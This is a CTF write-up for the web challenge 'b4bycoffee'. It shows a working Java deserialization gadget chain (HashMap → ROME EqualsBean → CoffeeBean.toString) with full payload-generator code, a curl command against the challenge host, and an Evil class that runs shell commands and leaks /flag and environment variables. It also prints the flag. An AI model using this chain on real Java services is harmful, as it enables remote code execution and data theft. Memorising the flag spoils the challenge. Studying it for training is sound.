长城杯 2022 b4bycoffee

zimo010 2026-10-13 16:44:49 24 0 返回题目详情


---

title: "b4bycoffee"

ctf: "Online CTF (remote instance at http://49.232.142.230:17562)"

date: 2026-10-13

category: web

difficulty: medium

points: unknown

flag_format: "flag{...}"

---


# b4bycoffee


## Summary


Spring Boot Java-deserialization challenge.`POST /b4by/coffee`base64-decodes the JSON field`venti`and passes it through a custom`AntObjectInputStream`whose 5-entry blacklist (BadAttributeValueExpException, ROME ObjectBean/ToStringBean, TemplatesImpl, Runtime) kills the classic chains — but ROME's`EqualsBean`is not on the list, and`beanHashCode()`calls`obj.toString()`. The app's own`CoffeeBean.toString()`is the sink: it`defineClass`-loads a byte array and calls`newInstance()`, giving arbitrary bytecode execution. Flag read from`/flag`and leaked in-band by writing to the current HTTP response.


## Solution


### Step 1: Identify the sink and the blacklist bypass


Decompiled the attached`b4bycoffee-0.0.1-SNAPSHOT.jar`(CFR, target JDK 8):


-`coffeeController.order()`—`AntObjectInputStream.readObject()`on base64 of`coffee.Venti`, result cast to`Venti`→ deserialization primitive.

-`AntObjectInputStream.resolveClass()`— blacklist of 5 class names:`javax.management.BadAttributeValueExpException`,`com.rometools.rome.feed.impl.ObjectBean`,`com.rometools.rome.feed.impl.ToStringBean`,`com.sun...TemplatesImpl`,`java.lang.Runtime`. Only names appearing**in the stream**are checked; class*bytecode*inside a`byte[]`field is never resolved.

-`CoffeeBean extends ClassLoader implements Serializable`—`toString()`does`new CoffeeBean().defineClass(null, this.ClassByte, 0, len).newInstance()`→ the RCE sink. It is serializable and not blacklisted.

-ROME 1.7.0 ships in`BOOT-INF/lib`. Its`EqualsBean implements Serializable`(not blacklisted) with`hashCode() → beanHashCode() → this.obj.toString()`.


Chain:`HashMap.readObject()`→`hash(key)`→`EqualsBean.hashCode()`→`CoffeeBean.toString()`→`defineClass`+`newInstance()`on the embedded`Evil`bytecode.


### Step 2: Build and fire the payload


`Evil.java`(public no-arg ctor) runs during deserialization: reads common flag paths,`ls -la /`+`env`via`/bin/sh`, then dumps everything into the**current HTTP response**obtained from`RequestContextHolder.currentRequestAttributes()`(same request thread), so the flag comes back in-band with no outbound connectivity needed. Key detail: Spring classes must be loaded via the**thread context classloader**— the evil class is defined in a`CoffeeBean`classloader instance whose parent is the system loader, so plain`Class.forName(...)`throws ClassNotFoundException.


Payload generator avoids executing the payload locally:`ClassByte`is first set to a harmless`Dummy.class`(the local`map.put()`triggers`hashCode→toString→defineClass`on the dummy), then reflection swaps in the real`Evil`bytes just before serialization.


```java

// Gen.java — build the serialized HashMap payload (JDK 8)

importcom.example.b4bycoffee.model.CoffeeBean;

importcom.rometools.rome.feed.impl.EqualsBean;

importjava.io.*;

importjava.lang.reflect.Field;

importjava.util.Base64;

importjava.util.HashMap;


publicclassGen{

publicstaticvoidmain(String[]args)throwsException {

CoffeeBean bean=newCoffeeBean();

Field f=CoffeeBean.class.getDeclaredField("ClassByte");

f.setAccessible(true);

f.set(bean,read(args[0]));// Dummy.class: harmless during local map.put()

HashMap<Object,Object> m=newHashMap<>();

m.put(newEqualsBean(Object.class, bean),"x");

f.set(bean,read(args[1]));// Evil.class: real payload, swapped in pre-serialization

ByteArrayOutputStream bos=newByteArrayOutputStream();

ObjectOutputStream oos=newObjectOutputStream(bos);

oos.writeObject(m);

oos.close();

System.out.println(Base64.getEncoder().encodeToString(bos.toByteArray()));

}

staticbyte[]read(Stringp)throwsIOException {

InputStream in=newFileInputStream(p);

ByteArrayOutputStream b=newByteArrayOutputStream();

intn;byte[] buf=newbyte[8192];

while((n=in.read(buf))>0) b.write(buf,0, n);

in.close();

returnb.toByteArray();

}

}

```


```bash

# classpath = extracted jar: BOOT-INF/classes + BOOT-INF/lib/rome-1.7.0.jar

javac -cp "$CP" Gen.java Dummy.java Evil.java

java -cp "$CP;." Gen Dummy.class Evil.class > payload.b64

PAY=$(cat payload.b64)

curl -m 40 -X POST -H "Content-Type: application/json" \

-d "{\"venti\":\"$PAY\"}" http://49.232.142.230:17562/b4by/coffee

```


Response (truncated):


```text

<<<FLAGDATA>>>

[user.dir]=/home/app

[/flag] flag{803702b0126f7ad2839ac8a65bd35ed2}

-rw-r--r-- 1 root root 39 Oct 13 08:26 /flag

...

<<<ENDDATA>>>

```


## Flag


```

flag{803702b0126f7ad2839ac8a65bd35ed2}

```

分类:WEB
image
作者:zimo010

1

提交

0

收入

相关WriteUP

  • cookiehead

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
  • sqli-0x1 Writeup

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 3年前
  • [HackINI-2022] lfi WriteUp

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 3年前
  • just-work-type

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 3年前
  • SQL注入.2

    ***收费WriteUP请购买后查看,VIP用户可免费查看***

    • WEB
    • 1年前
问题反馈